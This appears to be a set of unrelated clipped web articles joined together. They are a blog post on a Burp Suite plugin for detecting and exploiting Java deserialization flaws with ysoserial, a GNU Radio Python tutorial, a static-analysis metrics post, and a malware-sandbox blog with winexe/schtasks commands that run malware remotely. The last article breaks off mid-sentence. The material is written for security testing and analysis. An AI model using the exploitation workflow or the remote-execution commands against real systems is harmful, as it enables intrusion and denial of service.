**Created:**| _5/24/2017 2:47:38 PM_  
---|---  
**Updated:**| _5/24/2017 2:47:38 PM_  
**Author:**| __  
**Tags:**| _Exploit reversing Java_  
  

  

# Introduction

Java deserialization vulnerabilities were discovered and disclosed in January
2015 by **Gabriel Lawrence and Chris Frohoff**. These serious vulnerabilities
arise from the way in which Java deserializes serialized objects \(see the
presentation of Gabriel Lawrence and Chris Frohoff\). The underlying flaw in
Java has **not been fixed by Oracle** , most likely due to the impact a fix
would have on various frameworks and libraries. However, many workarounds can
be applied to prevent exploitation.

The original disclosure of the vulnerability did not attract much attention.
Until November 2016, when **Stephen Breen** , a researcher at Foxglove
Security, demonstrated practical exploitation on the most popular Java
application servers \(see the article published on Foxglove Security blog\).

In this article, we will not focus on how serialization vulnerabilities work
and how to fix them, because there already are plenty of articles on this
subject. Instead, today we will focus on how to **reliably detect and exploit
these issues**. For this task, all we need to know is that the vulnerability
depends on how Java deserializes serialized objects. Default Java classes
responsible for the deserialization task first deserialize each serialized
object and then try to cast the object to the expected Java class. So, all the
received objects are deserialized, even if they are not instances of the
expected types; in this case, after deserialization an exception arises when
trying to cast the object to the expected type. What makes the issue so
critical is the fact that **the Java language offers the possibility to add
custom code to the class definition that is executed upon deserialization**.

For this reason, to be able to achieve **Remote Command Execution \(RCE\)** it
is necessary to find a “chain” to an object that, once deserialized, allows
the attacker to execute arbitrary Java code. Obviously, the class of the
chosen object must be loaded in the ClassLoader of the target system. For this
reason, usually some “vulnerable” libraries are needed to exploit this issue.
These libraries expose the objects used for the exploitation, but the
vulnerability itself lies in how Java deserializes the objects, and not in the
libraries used for the exploitation. Removing only the “vulnerable” libraries
does not protect completely against this issue, because new chains could be
discovered and the vulnerability could be triggered anyway.

Once a deserialization issue is discovered, the ysoserial tool can be used for
exploitation. This tool generates custom exploitation vectors, based on the
“vulnerable” libraries loaded in the target system. In this article we will
analyze how to discover and exploit Java deserialization vulnerabilities using
a Burp Suite plugin we developed based on ysoserial: the **Java
Deserialization Scanner**.

# Installation

The Java Deserialization Scanner plugin can be installed in two ways:

  * Download it directly in Burp Suite from the **BApp Store** \(Extender -> BApp Store\). This is the easiest way to get the plugin, but the downloaded version may not be the latest one. At the moment, for example, the latest version \(0.5 pre-release\) is available only from GitHub \(see next method\). When the release version will be published, we will submit it to the BApp Store.
  * Download the latest release from GitHub and **manually install the JAR** from the Burp Suite Extender tab \(Extender -> Extensions -> Add\)

# Detection

The detection of deserialization vulnerabilities is not always a simple task.
By generating a payload with ysoserial and sending it to the target
application, usually we may either get a Java Stack Trace \(and if we are
lucky we can discover the presence of the issue, but only with a knowledge of
the vulnerable library targeted\) or no verbose output at all.

Therefore, in order to reliably detect the presence of the vulnerability, we
modified ysoserial to **generate Java native sleep payloads** instead of RCE
payloads and we added these payloads to the Java Deserialization Scanner. For
this task it is necessary to use Java native sleep payloads, because the Java
sleep call is synchronous; executing a system sleep using the default RCE
payloads generated by ysoserial would be useless, because they are
asynchronous and we would get the response from the server before the end of
the sleep command, regardless of the presence or the absence of the issue.

In the latest version of the plugin, we added **two new methods to further
improve detection** : one based on DNS and one on CPU.

In order to generate payloads that execute **native Java DNS resolution**
,**** we modified ysoserial again. Usually, DNS resolution requests are the
ones that are most likely to bypass corporate firewalls and consequently are a
quite good detection method. In general, the timing method is more reliable
and preferable, but the DNS method can be useful on unstable systems or highly
delayed networks. Thanks to **Burp Suite Collaborator** , it is not necessary
to have authority on a DNS zone, and everything can be done within the Burp
Suite tool.

The **CPU detection method** is based on Wouter Coekaerts’ SerialDOS work: it
is able to detect deserialization issues without the presence of any
vulnerable library. The payload is based on a system object
\(java.util.HashSet\) that employs many CPU cycles for the deserialization
task. SerialDOS was created as a PoC of a Denial of Service \(DoS\) attack,
but by decreasing the CPU cycles necessary for deserialization it can also be
used as a detection method. This payload is very useful to detect if the
application endpoint actually performs Java deserialization and if it
implements a strict whitelist approach. If this check gives a positive result
there is also the possibility that the target application implements a
whitelist approach that permits HashSet class of java.util package. In this
case the application is still vulnerable to DoS attacks \(using full-power
SerialDOS payloads\).

Now, let’s demonstrate how to use our plugin for detection. The detection is
integrated in **Burp Suite Active and Passive Scanner**. By default, Time and
DNS checks are added to Burp Suite scanner, but they can be disabled from the
Configurations panel of the plugin, in the section “Automatic scanner
configurations”:

<img src='img/Temp2_6802.png' width='1325' height='269' />

In order to reduce the number of requests executed by the Active Scanner,**the
checks added by the plugin are executed only if a serialized object is present
in the original request**.**** The payload is encoded with the same encoding
found in the original request \(for instance, if the serialized object is
encoded in BASE64, the exploit vector will be encoded in BASE64 and so on\).
The currently supported encoding formats are:

  * Raw
  * BASE64
  * ASCII HEX
  * GZIP
  * BASE64 GZIP

**The CPU detection method is not included by default in the active scan
checks** , because it must be used with caution: sending a huge number of
“light” SerialDOS payloads may still cause problems on old or highly-loaded
systems. In order to execute checks with custom insertion points or use the
CPU payload, the plugin provides the **“Manual Testing” tab** , in which the
user can select the insertion point \(currently only one at a time is
supported\) like in the Burp Suite Intruder, choose the check type \(DNS,
Time, or CPU\), choose the preferred encoding and test the parameter. By
selecting Sleep or DNS checks, the plugin tests all the supported vulnerable
libraries, while with the CPU check the plugin will use a library-independent
CPU payload. By default, detected issues are automatically added to the global
issues of the host, but this behavior can be disabled in the “Configurations”
tab. In the same tab it is possible to enable verbose mode, in order to
inspect the requests and their responses in the results pane.

The requests to test can be manually inserted in the Manual Testing tab or can
be sent from other Burp Suite tabs using the contextual menu that opens with
the right button of the mouse:

<img src='img/Temp2_6806.png' width='1913' height='846' />

The configuration of the Manual Testing tool is explained in the following
picture:

<img src='img/Temp2_6803.png' width='1920' height='975' />

# Exploitation

**The “Exploiting” tab offers a comfortable interface to exploit
deserialization vulnerabilities**. This tab uses the ysoserial tool to
generate exploitation vectors and includes the generated payload in a HTTP
request. ysoserial takes as argument a vulnerable library and a command and
generates a serialized object in binary form that can be sent to the
vulnerable application to execute the command on the target system \(obviously
if the target application is vulnerable\). The Exploiting tab supports the
same encoding formats as the detection sections of the plugin.

Now, let’s demonstrate how to use our plugin for exploitation. First, we need
to open the **“Configuration” tab** and insert the path where we have a copy
of the ysoserial tool \(ysoserial is necessary only for exploitation;
detection payloads are already included in the plugin\):

<img src='img/Temp2_6801.png' width='1311' height='271' />

Then, as we saw for manual testing, it is possible to insert the request
manually or to send it from other Burp Suite tabs using the contextual menu
that opens with the right button of the mouse. The user can then select the
insertion point \(currently only one at a time is supported\) like in the Burp
Suite Intruder, insert the ysoserial command \(refer to the ysoserial manual
for syntax\) and click the correct **“Attack” button** , based on the desired
encoding. The configuration of the “Exploiting” tool is explained in the
following picture:

<img src='img/Temp2_6800.png' width='1920' height='971' />

The interface provided by the plugin **makes the exploitation process faster
and more comfortable**.

And that’s all\! The last version of the plugin \(currently the 0.5 pre-
release\) can be downloaded from the release page of GitHub. If you find any
bug or if you have ideas for enhancements please open a new issue on GitHub.

Thank you and happy testing\!

References:

  1. https://github.com/federicodotta/Java-Deserialization-Scanner/releases
  2. https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles
  3. https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
  4. https://github.com/frohoff/ysoserial
  5. https://portswigger.net/
  6. https://gist.github.com/coekie/a27cc406fc9f3dc7a70d

### Related Posts

  * <img src='img/Temp2_6809.png' width='150' height='150' alt='Exploiting OGNL Injection' />Exploiting OGNL Injection
  * <img src='img/Temp2_6807.png' width='150' height='150' alt='Scanning for Java Deserialization Vulnerabilities in web applications with Burp Suite' />Scanning for Java Deserialization Vulnerabilities in web applications with Burp Suite
  * <img src='img/Temp2_6805.png' width='150' height='150' alt='Penetration testing on mobile applications – The hard way' />Penetration testing on mobile applications – The hard way
  * <img src='img/Temp2_6808.png' width='150' height='150' alt='Fiddler: NTLM authentication when Burp Suite fails' />Fiddler: NTLM authentication when Burp Suite fails
  * <img src='img/Temp2_6804.png' width='150' height='150' alt='MSSQL Tips' />MSSQL Tips
  * <img src='img/Temp2_6807.png' width='150' height='150' alt='Easy authorization checks with Autorize' />Easy authorization checks with Autorize

Written by: Federico Dotta on May 24, 2017.

Burp Suite , Exploit , Java , Java Deserialization Scanner , Scanner ,
Serialization

.

  

# Josh Knows | Introductory Tour of the GNU Radio Project
**Created:**| _4/7/2011 4:55:11 PM_  
---|---  
**Updated:**| _4/7/2011 4:55:11 PM_  
**Author:**| __  
**Tags:**| _python programming Gnuradio_  
  

# Introductory Tour of the GNU Radio Project

<img src='img/gnuradio12.png'
alt='http://www.gnu.org/software/gnuradio/images/gnuradio12.png' />

  * Introduction
  * Software Defined Radio
  * The USRP
  * Installing GNU Radio
  * Using GNU Radio
  * Learning By Example
  * USRP Examples
  * Data Types
  * Moving On...

* * *
## Introduction

I am writing this guide because GNU Radio is a great tool that can easily be
overlooked. The documentation is poor and just getting started is not obvious.
There is a tight niche between GNU Radio developers and programmers/users. I
hope to explain GNU Radio, what it is, why its useful, and how to use it.

GNU Radio is a set of signal processing tools for the computer. It encompass
hundreds of signal processing blocks and utility applications. GNU Radio can
tie in with hardware such as the USRP and various ADC/DAC pci cards. Signal
processing blocks are written in C++, while creating flow graphs and
connecting signal blocks is done is an interpreted language called Python.

### GNU Radio is...

  * An API for creating signal blocks \(C++/Python\)
  * A runtime environment for signal processing
  * A library of signal processing blocks
  * User scripts and applications
  * Hardware drivers \(USRP/USRP2/VRT\)
  * An application for creating flow graphs \(GRC\)

* * *
## USRP

The USRP is big ADC/DAC with a USB plug, with a decent price \(under $1k\).
This hardware device is probably GNU Radio's best friend.

<img src='img/USRP.jpg' width='550' alt='http://www.ettus.com/images/USRP.jpg'
/>

It has removable daughterboards that cover most of the usable RF spectrum. The
receiving ADC rate is 64 Megasamples per second, while the transmitting DAC
rate is 128 Megasamples per second.

* * *
## Installing GNU Radio

Installing GNU Radio is probably the biggest leap for a beginner. GNU Radio
can run on any platform, however, some installations are easier than others.
GNU Radio must be compiled from source and all of the dependencies have to be
taken care of. If your heart is set on Windows, I recommend using Cygwin. If
you can spare an extra PC, I recommend installing Ubuntu Linux.

### Windows

GNU Radio definitely works in Windows XP, but be prepared to give up a day's
worth of work. Windows users can install GNU Radio under the Cygwin or MinGW
unix emulation environments.

  * Cygwin install guide
  * MinGW install guide

### Linux

Ubuntu Linux is very nice for GNU Radio because all the dependencies can be
easily met. You simply have to select the correct check boxes and click
install. Follow the Ubuntu Install Guide. Fedora Core also makes for a pretty
easy installation, but with a little more effort. Follow the Fedora Core
Install Guide. Then follow the build guide.

* * *
## Using GNU Radio

### Introdution

In this section, I will explain how to use the GNU Radio API in the Python
programming language. If you are interested in a graphical interface like
Simulink, check out GNU Radio Companion.

### Python

A signal processing flow graph is implemented in Python. Python is an object
oriented language, much like C++ and Java. Python code is very neat and
organized and you will never have to compile it. There are no semicolons, or
curly braces in Python. Rather, the code relies heavily on indentation levels
and newlines. If you are familiar with programming, understanding the basics
of Python should be trivial.

### Helpful Python References

  * Learn Python in 10 Mins
  * Dive into Python. You can buy this at the book store or get it free online. This guide is full of examples and tips. The online version includes python files that go along with the text.
  * Official Python Tutorial

* * *
## Learning By Example

The quickest way to understand how to use GNU Radio is to start with some
basic examples. My examples are written in Python. You can copy them into a
text file and run them with the Python interpreter.

### A Simple Flow Graph

[code]

    #bring in blocks from the main gnu radio package
    from gnuradio import gr
    
    #create the top block
    tb = gr.top_block()
    
    #create a signal source
    src = gr.null_source(1) #1 indicates the data stream size
    
    #create a signal sink
    sink = gr.null_sink(1)
    
    #connect the source to the sink
    tb.connect(src, sink)
    
    #run the flow graph
    tb.run()
    
    
[/code]

  * As you may have guessed, this flow graph does nothing. The null source spits out zeros, and the null sink takes a data stream and does nothing with it. Also, there is nothing in the flow graph to control the data rate, the CPU usage should climb to 100%.

### The Phone-Tones Example

[code]

    #bring in blocks from the main gnu radio package
    from gnuradio import gr
    #bring in the audio source/sink
    from gnuradio import audio
    
    #create the flow graph
    tb = gr.top_block()
    
    #create the signal sources
    #parameters: samp_rate, type, output freq, amplitude, offset
    src1 = gr.sig_source_f(32000, gr.GR_SIN_WAVE, 350, .5, 0)
    src2 = gr.sig_source_f(32000, gr.GR_SIN_WAVE, 440, .5, 0)
    
    #an adder to combine the sources
    #the _ff indicates float input and float output
    adder = gr.add_ff()
    
    #create a signal sink
    sink = audio.sink(32000)
    
    #connect the adder
    #the adder has multiple inputs...
    #we must use this syntax to choose which input to use
    tb.connect(src1, (adder, 0))
    tb.connect(src2, (adder, 1))
    
    #connect the adder to the sink
    tb.connect(adder, sink)
    
    #run the flow graph
    tb.run()
    
    
[/code]

  * **Sampling Rates:** The same sample rate, 32000, is used in the creation of signal sources and the audio sink. Certain blocks must agree on the rate at which they are sending or receiving data. However, the adder is not dependent on sampling rate, it simply adds whatever it receives.
  * **Data Types:** I will describe the data types in another section. In the meantime, take notice of the \_ff in gr.add\_ff and the \_f in gr.sig\_source\_f. Most blocks indicate their input/output data types in their name. In this case, f is for float. The signal sources output a stream of floats, and the adder takes and outputs floats as well. Obviously, the audio sink must take a stream of floats. However, this is not indicated by the name.
  * **Mutiple Inputs/Outputs:** Certain blocks have more than one input or output. Some have two, some have infinite. The adder has one output and an infinte number of inputs. In the above example, we use only two inputs of the adder. Inputs and outputs have indexes starting at 0 and counting up. "tb.connect\(src2, \(adder, 1\)\)" means that we want to connect the output of src2 to the second input of the adder. By not specifying an index, index 0 is implied. Therefore, "tb.connect\(\(src2, 0\), \(adder, 1\)\)" would have an identical effect.

It would be wise to check out the GNU Radio class list to see what kind of
signal blocks are offered. The class listing only contains the blocks in the
main GNU Radio package \(gr\). Other blocks are not documented there.
Unofficial GNU Radio User Manual

* * *
## USRP Examples

### USRP Source

[code]

    #bring in the USRP source/sink
    from gnuradio import usrp
    
    #create the usrp source
    #0 represents the USRP number (in case you have multiple USRPs)
    u = usrp.source_c(0)
    
    #Set the decimation
    u.set_decim_rate(decimation)
    
    #Automatically choose the sub device
    #(this can be done manually, see below)
    subdev_spec = usrp.pick_rx_subdevice(u)
    
    #Set the mux
    u.set_mux(usrp.determine_rx_mux_value(u, subdev_spec))
    
    #get the sub-device
    subdev = usrp.selected_subdev(u, subdev_spec)
    
    #Select receive antenna ('TX/RX' or 'RX2'): flex boards only!
    subdev.select_rx_antenna('RX2')
    
    #Set the gain
    subdev.set_gain(gain)
    
    #Tune the center frequency
    u.tune(0, subdev, frequency)
    
[/code]

### USRP Sink

[code]

    #bring in the USRP source/sink
    from gnuradio import usrp
    
    #create the usrp sink
    #0 represents the USRP number (in case you have multiple USRPs)
    u = usrp.sink_c(0)
    
    #Set the decimation
    u.set_interp_rate(interpolation)
    
    #Automatically choose the sub device
    #(this can be done manually, see below)
    subdev_spec = usrp.pick_tx_subdevice(u)
    
    #Set the mux
    u.set_mux(usrp.determine_tx_mux_value(u, subdev_spec))
    
    #get the sub-device
    subdev = usrp.selected_subdev(u, subdev_spec)
    
    #Enable transmit: flex boards only!
    subdev.set_enable(True)
    
    #Set the gain
    subdev.set_gain(gain)
    
    #Tune the center frequency
    u.tune(subdev.which(), subdev, frequency)
    
[/code]

  * **Using a USRP source/sink:** The examples above are not complete flow graphs. They demonstrate how to setup a USRP source/sink. The "u" variable represents the actual signal block. This block needs to be connected to other components in a flow graph. 
    * For the USRP source: "fg.connect\(u, input\_block\)".
    * For the USRP sink: "fg.connect\(output\_block, u\)"
  * **Sub Devices:** A subdevice specification represents a daughter board on the USRP. Subdevices are identified by two parameters, the side and the subdevice number. A subdevice specification is of the form \(side, subdevice\). The side can be 0 \(for side A\) or 1 \(for side B\). The subdevice number can be 0 or 1, since some daughter boards have multiple inputs/outputs. Notice, "subdev\_spec = usrp.pick\_rx\_subdevice\(u\)" will automatically pick one of the rx daughter boards currently plugged into the USRP. Similarly, "subdev\_spec = usrp.pick\_tx\_subdevice\(u\)" will automatically pick one of the tx daughter boards. To be more exact, you could change this line to "subdev\_spec = \(1, 0\)" to pick the first subdevice on side B.
  * **The Mux:** There is a register on the USRP that controls how the rx mux routes data to the daughter boards. "usrp.determine\_rx\_mux\_value\(u, subdev\_spec\)" automatically determines the register value based on the subdev\_spec. In the same fassion, the USRP has a tx mux register. The value can be automatically determined with "usrp.determine\_tx\_mux\_value". You can receive data from 1, 2, or 4 rx devices and send to 1 or 2 tx subdevices. However, there is no "nice" method to create the mux values for multiple sends/receives.
  * **Tunning:** Calling u.tune, sets the oscillation frequency of the carrier. For the USRP source: the first argument tells the USRP which DDC to use. This argument must always be 0 for DDC0. For the USRP sink: the first argument tells the USRP which DUC to use. This argument should be subdev.which\(\) so that the DUC is chosen appropriately for your daughterboard.
  * **Sampling Rates:** The USRP ADC runs at 64 Megasamples per second. The output sampling rate should be \(64 Msamps/s\) / decimation. The USRP DAC runs at 128 Megasamples per second. The input sampling rate should be \(128 Msamps/s\) / interpolation.
  * **IO:** In the above example, I use "usrp.source\_c" to output a complex stream. This line could easily be replaced with "usrp.source\_s" to output a stream of interleaved shorts. The same rule applies to "usrp.sink\_c" and "usrp.sink\_s". See the Data Types section below for more information:

* * *
## Data Types

Signal blocks communicate with each other via data streams. A stream is made
up of individual elements, where all elements have a particular data type. GNU
Radio has very strict data type checking, meaning: Input and output data types
must match exactally or an error will be thrown at runtime.

Data types can be bytes, shorts, ints, floats, and complex. In addition, a
data type could be a vector of type byte, short, int, float, or complex. In
many ways, a regular data stream is just a stream of length-1 vectors.

  * Byte - 1 byte of data \(8 bits per element\)
  * Short - 2 byte integer
  * Int - 4 byte integer
  * Float - 4 byte floating point
  * Complex - 8 bytes \(actually a pair of floats\)

### Interleaved Shorts

Some blocks with a \_s suffix say that they take interleaved shorts rather
than shorts. Interleaved shorts are I&Q pairs of short intergers. There is no
difference between interleaved shorts and shorts. This is up to the
interpretation of the block.

### Bytes and Characters

Some blocks will output character streams or unsigned character streams. There
is no difference between bytes and characters. Once again, this is up to the
interpretation of the block.

### Signal Block Naming Conventions

Usually, the name of the signal block indicates the data type. A signal block
ending in \_f indicates that the block will input or output a float
\(depending on its function\). A signal block ending in \_fc, indicates that
the block will input a float and output a complex. Sometimes, a block may end
in a \_vff, indicating that the input and output are a vector of floats. You
can assume: \_b for byte, \_s for short, \_i for int... and so on.

Keep in mind, not all signal block names follow this suit. Some blocks input
or output a particular data type, but do not specify this in the name. Ex:
audio.sink always takes a stream of floats but does not end in \_f.

Other blocks do not expect a specific input or output type. In these cases,
you must specify the size of the data type \(in bytes\) as one of the signal
block's parameters. Ex: gr.null\_sink can take a stream of any data type, but
the first parameter must be the size of the data type in bytes.

* * *
## Moving On...

I have only described the very basic framework of GNU Radio. There is so much
more. Get a firm grasp on python, try the examples that come with GNU Radio,
and experiment with other signal blocks. You can do anything...

# Code Integrity Blog: Static Analysis Metrics - A Window into Development

**Created:**| _12/1/2010 6:51:30 PM_  
---|---  
**Updated:**| _12/1/2010 6:51:47 PM_  
**Author:**| __  
**Tags:**| _statistics programming code-checks static Metrics_  
  

## Tuesday, November 9, 2010

### Static Analysis Metrics - A Window into Development

You can't manage what you can't measure right? In addition to detecting
problems in source code, static analysis can be used to produce metrics that
provide insight into productivity, code quality, security and more. We all
know the _dangers of managing solely by metrics_ , yet, metrics serve as a
highly useful window into your software development process. In this post, we
most certainly won't focus on the general challenges of using metrics because
they've been written about in many other forums. We will discuss some static
analysis metrics here that when pieced with other information can provide
useful information.  
  
Static analysis is typically integrated at the system build level. These days,
most organizations build their code on a frequent basis - which are convenient
points of time to generate static analysis results. If you are running a
nightly build, you can get static analysis output on a daily basis. If you run
it on a continuous integration basis you get output at the frequency you
choose \(sometimes static analysis takes longer than a continuous integration
cycle if you haven't tuned it but then simply perform static analysis on every
2nd or 3rd cycle\). Metrics can be used to get a sense for where you are
\(status\) and point to potential problem areas too \(alerts\). Thresholds can
be set to spur action - such as block a release, or trigger a code review or
design review.  
  
Every organization has different priorities and thus every organization should
have a different set of metrics that they should track to maintain alignment
with goals. We list just a few common metrics that can come from static
analysis tools.  
  
**Management Level Metrics**  
  
Most static analysis tools can easily generate output such as:  

  * Lines of code, number of new lines of code, churn
  * Number of defects outstanding, number of new defects introduced  

  * Defects per thousand line of code \(defect density\)
  * Number of defects fixed so far, number of defects fixed in last period
  * Comments per line of code 
  * Cyclomatic complexity, function points

Supporting Metrics to Ensure Compliance  

  * Code coverage for tests \(100% or near 100% should be attained\)
  * Average time to resolve issues
  * Number of defects marked as false positives \(or low priority\)

A couple of considerations about this data:  
  
**Breakdowns**  
The entire codebase should be measured and tracked however convenient
breakdowns can be created to make the information more actionable. For
instance, data could be collected on a team by team basis \(or component by
component\). Individuals metrics can also be calculcated in order to hone in
on specific problem areas or better yet, to highlight improvement areas worth
rewarding. In addition, team leads may be interested in tracking information
on a function by function basis.  
  
All defect related metrics should be broken down by priorities and/or
severities. Metrics that lump in low priorities become diluted. This is
particularly important if you have an acceptance criteria that requires all
critical and high defects to be fixed before release.  
  
**What Is Measured**  
Because static analysis usually operates at the build level, you can get
meaningful statistics on a per codebase perspective. Thus if you have multiple
targets \(e.g. different operating systems, devices, etc.\) you can produce
statistics for each. You can find build target specific bugs as well as bugs
in shared code.  
  
**Absolute Versus Relative**  
A number without context provides almost no value. Let's say the tool spits
out a defect density rate of 1 bug per 1000 lines of code. What can you do
with the information? The data becomes rich information when you are able to
compare it to other numbers. The most common way to use these metrics is to
benchmark against industry standards. Coverity has an interesting database of
open source defects from their Department of Homeland Security grant. While
comparing your codebase with open source statistics may not be ideal
\(wouldn't it be great if you could benchmark against your competitors\), it
provides at least some real world data that you can use to compare and
contrast. Are you above or below the average and by how much?  
  
Another common way to interpret the numbers is to evaluate them over time.
Take a baseline - a snapshot in time and then measure against that baseline to
see how you are trending. A convenient time to take a baseline is at the
beginning of a branch pull. Some organizations have the goal of toeing the
line - meaning "no new harm." Quite simply the goal is to maintain the same
level of quality as prior to any new development efforts. Others at least want
to see improvement over time - showing that they are making progress. The high
level defect density as well as the overall defect number are very typical
KPI's \(key performance indicators\) chosen by development organizations.  
  
**Frequency**  
Note again that the frequency is as often as you run static analysis. As part
of a system build, this is typically run regularly, either every evening,
every few days or every continuous integration cycle. Advanced organizations
also provide static analysis at the developer level so that they can run on-
demand static analysis. Klocwork has some strong capabilities in this area. In
this way developers can proactively identify and fix potential problems prior
to check-in. Giving the power to the developers to view and improve the
metrics as they work, results in better system-level metrics faster and much
less chance of having to deal with an emergency later in the development
cycle.  
  
**Trending**  
All data should be stored and accessible to get a historical context.
Graphical charts enable a quick interpretation of results. Historical context
helps you see how you are doing relatively. Start with a baseline and see how
you are doing from that point onward.  
  
**Data Consistency**  
Static analysis tools are complex, with many settings that are tweakable in
order for it to understand the myriad of different codebases that it can
analyze. Think what kind of bugs would be useful to find in a 10,000 line of
code embedded device \(like a stack overflow\) versus a 10 million line of
code server application \(like a concurrency bug\). If not set up properly,
the static analysis tool can create challenges in keeping the data stable so
that you get consistent numbers to compare over time. For instance, if you
upgrade the static analysis tool, new and improved checkers may suddenly
change the defect count. New checkers will find new bugs, which may falsely
signal that there was a sudden increase in the number of defects in your
codebase. Those bugs were always there :-\). Similarly, an improved checker
may suddenly report many fewer false positives but maybe at the cost of a few
real bugs that are no longer found.  
  
If analyses can be run in multiple places \(for instance, developers running
the analysis tool locally on their machine\) then discrepancies can occur if
the configurations and the code being analyzed are not identical. Even
changing some settings that you wouldn't imagine could possibly cause a data
consistency problem can mysteriously change the numbers. While static analysis
tools are designed to find bugs, that doesn't mean they don't have bugs
themselves. These tools are doing a lot of complex analyses behind the scenes
and don't always provide consistent results in every possible scenario.  
  
In a future blog post, we'll look at some sample dashboards so that you get a
sense for what can be used for reporting and how these data points can be
used.

# The Security Shoggoth

**Created:**| _5/12/2010 9:48:25 AM_  
---|---  
**Updated:**| _5/12/2010 9:48:40 AM_  
**Author:**| __  
**Tags:**| _bookmark reversing awesome_  
  

skip to main | skip to sidebar
# The Security Shoggoth

Stories of an elder thing creation making its way in the world of information
security.

## Saturday, May 8, 2010

### Simulating the User Experience: Part 2

In my last post I discussed the problem I found with winexe and how it did not
set all the Windows environment variables needed to simulate a complete user
experience. This problem was preventing some malware from running in my
malware analysis sandnet - a problem I needed to overcome.  
  
The way I looked at it, I had 3 options:  

  * Modify the source code for winexe to get it to work as I wanted. However, this was more than I wanted to do at this time. Maybe later.
  * Use a program like webjob to provide another means to remotely execute the program. However, this would require me to modify the Windows analysis host which, for reasons I won't go into, is a huge PITA. Any solution that required me to modify the host was out for now.
  * Figure out a way to remotely execute the malware on the Windows system using already present tools and still get the user environment I wanted.

I decided to start with the third option. I knew I couldn't use winexe to
directly execute the malware as I wouldn't get the correct environment
variables set. But, what if I used winexe to execute another program to launch
the malware?  
  
Using winexe to run 'cmd /c malware.exe' was out as this was the method I was
using before. I then tried creating a batch script to run the malware and
executing it with winexe. No luck there either; the environment variables
weren't created. Finally, I had an idea...what if I scheduled a job to run the
malware? If I scheduled it as the user it should inherit all of the correct
variables and run correctly.  
  
To test it out I created a batch script \(named test.bat\) in the Windows
system that would run set and redirect the output into a file. I then ran the
following command \(from the Linux box\):  

> winexe -U administrator%mypass //192.168.1.5 'schtasks /create /tn testjob
> /tr c:\temp\test.bat /sc minute /mo 1 /ru administrator /rp mypass'  
>
  
Success\!\!\! When the script ran and dumped the environment variables into a
file, all 30 were there\! The next step was to create a script to run the
malware in the system.  
  
The automation script was modified to upload the malware to the Windows box
along with a batch script that performs the following commands:  

> schtasks /delete /tn jobname /f  
> start c:\path\to\malware.exe  
>
The automation script then schedules a job to run the uploaded script. When
the scheduled job kicks off, the batch file runs. The batch file deletes the
scheduled job and run the malware.  
  
Why delete the scheduled job? When scheduling the job, it is scheduled to run
every minute. By deleting the scheduled job there's no worry the malware will
run more than once. Why schedule it to run every minute? Call it paranoia. :\)  
  
After making the modifications to my automation script and testing it, I ran
it with the Koobface sample that started all my problems and...success\! The
results showed the sample ran correctly, dropped the right files and set the
right registry keys. Tests with additional malware have shown that its working
correctly as well.  
  
This test got me thinking...how do publicly available sandnets work? Are they
setting the environment settings correctly? I'll discuss this in the part 3 of
this post.

Posted by Security Shoggoth at 11:38 AM 1 comments Links to this post <img
src='img/Temp2_8302.gif' /> <img src='img/Temp2_8306.gif' width='18'
height='18' />

Labels: malware analysis

### Simulating the User Experience: Part 1

Part of malware analysis, especially automated malware analysis, is to
simulate the user environment as closely as possible. After all, our goal is
to determine how malware behaves when it is run by a user. For the last few
months I've worked on an automated malware analysis system which I thought did
just that.  
  
Let me explain my automated analysis system. It is similar to the one I
described in my Hakin9 articles last year. Basically I have a host system
running Linux that executes an automation script. The automation script starts
up a VM, launches some monitoring tools, uploads and executes the malware,
records the results and performs cleanup. In all, it takes about 5-7 minutes
per malware, depending on the settings I am running. So far it performed
extremely well and cut my analysis time down dramatically.  
  
Imagine my frustration this week when I ran a new Koobface sample in it only
to find the malware didn't do anything. It would launch, perform some start-up
operations, then exit. No registry modifications, no process injection, no
network traffic. However, when I would manually launch it or run it through
ThreatExpert, it would run fine.  
  
In looking closer, I found out that the malware was trying to place a copy of
itself in the %APPDATA% directory. Since %APPDATA% is an environment variable
for the user, it should have been set - or so I thought.  
  
I took a step back and started to examine the method I was using to execute
the malware. My "host" system which executes the automation scripts runs
Linux. In order to execute the malware in the Windows system, smbclient is
used to upload the malware and winexe is used to execute it. After some
thought, I came up with a theory that winexe was not setting all of the
environment variables when it executed malware. I was right.  
  
It turns out that in a default Windows XP SP3 system, 30 environment variables
are set. With the way I was running winexe \(--system --interactive=1\), only
22 of the variables were set - %APPDATA%, %CLIENTNAME%, %HOMEDRIVE%,
%HOMEPATH%, %LOGONSERVER%, %SESSIONNAME%, %USERDOMAIN% and %USERNAME% are
missing.  
  
To make sure it wasn't because of the way I was running winexe, I ran a number
of tests. Each test consisted of running winexe with different settings. The
command that was run was "cmd.exe /c set > outfile". To be fair, I also tested
PsExec \(from another Windows system\). These are the results I found:  
  
| winexe  
---|---  
| no settings| interactive| interactive + system  
%APPDATA% |  |  |   
%CLIENTNAME% |  |  |   
%HOMEDRIVE% |  |  |   
%HOMEPATH% |  |  |   
%LOGONSERVER% |  |  |   
%SESSIONNAME% |  |  |   
%USERDOMAIN% |  |  |   
%USERNAME% |  |  |   
  
  
| psexec  
---|---  
| no settings| interactive| interactive + system  
%APPDATA% | X | X |   
%CLIENTNAME% | X | X |   
%HOMEDRIVE% | X | X |   
%HOMEPATH% | X | X |   
%LOGONSERVER% | X | X |   
%SESSIONNAME% | X | X |   
%USERDOMAIN% | X | X |   
%USERNAME% | X | X |   
  
  
  
It turns out that no matter what options you use, winexe does not set the
environment variables above. Note that I also ran winexe with the --runas
option and got the same results. PsExec sets all of the environment variables,
except when you specify it to run as SYSTEM. This makes sense as most of those
variables are used to specify user settings and SYSTEM would not have those.  
  
Obviously, winexe wasn't going to cut it any more because it wasn't setting a
complete user environment which, in turn, was preventing malware from running.
So, what to do? Winexe was my only way to remotely execute a program on a
Windows system from a Linux system \(without modifying the Windows system and
installing other programs\). To find out what I did, you'll have to stay tuned
for part 2\! :\)  
  
As a side note, if anyone knows of another program similar to winexe, please
let me know. Also, if anyone knows of a way to get winexe to run correctly,
I'd love to hear it.

Posted by Security Shoggoth at 10:04 AM 2 comments Links to this post <img
src='img/Temp2_8302.gif' /> <img src='img/Temp2_8306.gif' width='18'
height='18' />

Labels: malware

## Tuesday, April 27, 2010

### /Launch Malicious PDF

Wow - I'm posting\!\! :\)  
  
Today I, and others around the Internet, received an email that stated:  

> Subject: setting for your mailbox are changed  
>  
> SMTP and POP3 servers for YOUREMAILADDRHERE mailbox are  
> changed. Please carefully read the attached instructions  
> before updating settings.
The email had a PDF attached to it. Given the number of malicious PDFs that
